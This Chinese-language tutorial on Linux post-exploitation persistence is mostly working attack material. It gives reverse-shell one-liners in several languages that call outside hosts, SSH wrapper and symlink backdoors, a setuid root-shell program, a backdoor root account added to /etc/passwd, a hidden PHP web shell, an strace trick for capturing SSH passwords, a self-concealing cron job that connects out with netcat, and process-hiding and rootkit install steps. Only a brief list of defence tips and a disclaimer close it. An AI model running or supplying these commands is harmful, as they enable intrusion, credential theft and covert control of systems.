Linux下的权限维持
字数 694 2025-08-25 22:58:34
Linux权限维持技术详解
0x00 关于权限维持
权限维持是指在获得目标系统初始访问权限后,通过各种技术手段保持对目标的持续控制。目的是确保即使被发现或系统重启,攻击者仍能重新获得访问权限。
0x01 获得初始权限
反弹Shell技术
-
Bash反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i 5<>/dev/tcp/host/port 0>&5 1>&5 -
Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' -
Python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
PHP反弹
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' -
Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' -
Netcat反弹
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
SSL加密反弹Shell
-
生成SSL证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -
监听端:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443 -
目标端:
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
提升交互性
python -c 'import pty; pty.spawn("/bin/bash")'
或使用socat:
socat file:`tty`,raw,echo=0 tcp-listen:9999
# 目标端
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
0x02 权限维持技术
SSH后门技术
-
SSH软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555; -
SSH Wrapper
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart # 连接方式 socat STDIO TCP4:target_ip:22,sourceport=13377 -
SSH Key写入
ssh-keygen -t rsa chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh -
SSH隐身登录
ssh -T username@host /bin/bash -i ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
隐藏技术
-
隐藏文件
touch .wing.py -
隐藏权限
chattr +i file # 加锁 chattr -i file # 解锁 -
隐藏历史命令
set +o history # 禁用历史记录 set -o history # 恢复历史记录 # 删除指定历史记录 sed -i "100,$d" .bash_history
端口复用技术
-
SSLH工具
apt install sslh # 配置/etc/default/sslh DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid" service sslh start -
iptables端口复用
# 端口复用链 iptables -t nat -N LETMEIN # 端口复用规则 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 开启开关 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 关闭开关 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # 应用规则 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
进程隐藏技术
-
libprocesshider
git clone https://github.com/gianlucaborello/libprocesshider.git cd libprocesshider/ && make cp libprocesshider.so /usr/local/lib/ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload -
linux-inject
git clone https://github.com/gaffe23/linux-inject.git cd linux-inject && make ./inject -n sample-target sample-library.so -
Vegile
# 生成后门 msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -f elf -o backdoor
其他后门技术
-
Setuid/Setgid后门
#include <unistd.h> void main(int argc, char *argv[]) { setuid(0); setgid(0); if(argc > 1) execl("/bin/sh", "sh", "-c", argv[1], NULL); else execl("/bin/sh", "sh", NULL); }编译并设置:
gcc backdoor.c -o backdoor cp backdoor /bin/ chmod u+s /bin/backdoor -
inetd后门
# /etc/inetd.conf fido stream tcp nowait root /bin/bash bash -i -
添加后门账户
perl -e 'print crypt("wing", "AA"). "\n"' echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash">>/etc/passwd -
ICMP后门
# 使用prism项目 gcc -DDETACH -m64 -Wall -s -o prism prism.c -
DNS后门
# 使用dnscat2 sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache -
VIM后门
# wing.py from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',666)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)执行:
$(nohup vim -E -c "py3file wing.py"> /dev/null 2>&1 &) && sleep 2 && rm -f wing.py -
PAM后门
# 使用https://github.com/litsand/shell项目 -
\r后门
echo -e "<?=\`\$_POST[wing]\`?>\r<?='Wing ';?>" >/var/www/html/wing.php -
strace后门
ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh' -
Tiny shell
# 编译 ./compile.sh linux IP PORT [PASSWORD] [DELAY] # 目标端 umask 077; HOME=/var/tmp ./tshd # 控制端 tsh targetip -
定时任务
(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -
0x03 Rootkit技术
Rootkit分类
- 应用级Rootkit:替换系统命令如ls、ps等
- 内核级Rootkit:通过加载内核模块实现
- 硬件级Rootkit:存在于硬件固件中
Reptile Rootkit
# 安装
git clone https://github.com/f0rb1dd3n/Reptile
cd Reptile && make
sudo ./setup.sh install
防御建议
- 定期检查系统异常进程和网络连接
- 监控关键系统文件和目录的修改
- 限制不必要的SUID/SGID权限
- 使用完整性检查工具如AIDE
- 保持系统和软件更新
- 实施严格的访问控制和审计
以上技术仅供安全研究和防御使用,请勿用于非法用途。